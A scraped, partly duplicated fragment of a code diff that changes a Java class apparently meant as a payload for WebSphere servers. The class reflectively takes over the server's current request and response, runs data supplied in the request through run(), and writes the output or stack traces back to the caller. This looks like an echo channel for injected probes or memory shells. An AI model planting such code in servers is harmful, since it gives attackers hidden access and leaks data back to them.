throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getErrorMessage(Throwable throwable) {
|
||||||
|
PrintStream printStream = null;
|
||||||
|
try {
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
printStream = new PrintStream(outputStream);
|
||||||
|
throwable.printStackTrace(printStream);
|
||||||
|
return outputStream.toString();
|
||||||
|
} finally {
|
||||||
|
if (printStream != null) {
|
||||||
|
printStream.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+32
-4
@@ -1,5 +1,8 @@
|
|||||||
package com.reajason.javaweb.probe.payload.response;
|
package com.reajason.javaweb.probe.payload.response;
|
||||||
|
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.OutputStream;
|
||||||
|
import java.io.PrintStream;
|
||||||
import java.io.PrintWriter;
|
import java.io.PrintWriter;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
@@ -32,17 +35,27 @@ public class WebSphereWriter {
|
|||||||
Object response = getFieldValue(wsThreadLocal, "currentThreadsIExtendedResponse");
|
Object response = getFieldValue(wsThreadLocal, "currentThreadsIExtendedResponse");
|
||||||
String data = getDataFromReq(request);
|
String data = getDataFromReq(request);
|
||||||
if (data != null && !data.isEmpty()) {
|
if (data != null && !data.isEmpty()) {
|
||||||
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
|
String result = "";
|
||||||
try {
|
try {
|
||||||
writer.write(run(data));
|
result = run(data);
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
e.printStackTrace(writer);
|
result = getErrorMessage(e);
|
||||||
}
|
}
|
||||||
|
if (result != null) {
|
||||||
|
try {
|
||||||
|
OutputStream outputStream = (OutputStream) invokeMethod(response, "getOutputStream", null, null);
|
||||||
|
outputStream.write(result.getBytes());
|
||||||
|
outputStream.flush();
|
||||||
|
outputStream.close();
|
||||||
|
} catch (Throwable e) {
|
||||||
|
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
|
||||||
|
writer.write(result);
|
||||||
writer.flush();
|
writer.flush();
|
||||||
writer.close();
|
writer.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
break;
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
@@ -96,4 +109,19 @@ public class WebSphereWriter {
|
|||||||
}
|
}
|
||||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getErrorMessage(Throwable throwable) {
|
||||||
|
PrintStream printStream = null;
|
||||||
|
try {
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
printStream = new PrintStream(outputStream);
|
||||||
|
throwable.printStackTrace(printStream);
|
||||||
|
return outputStream.toString();
|
||||||
|
} finally {
|
||||||
|
if (printStream != null) {
|
||||||
|
printStream.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
Reference in New Issue
Block a user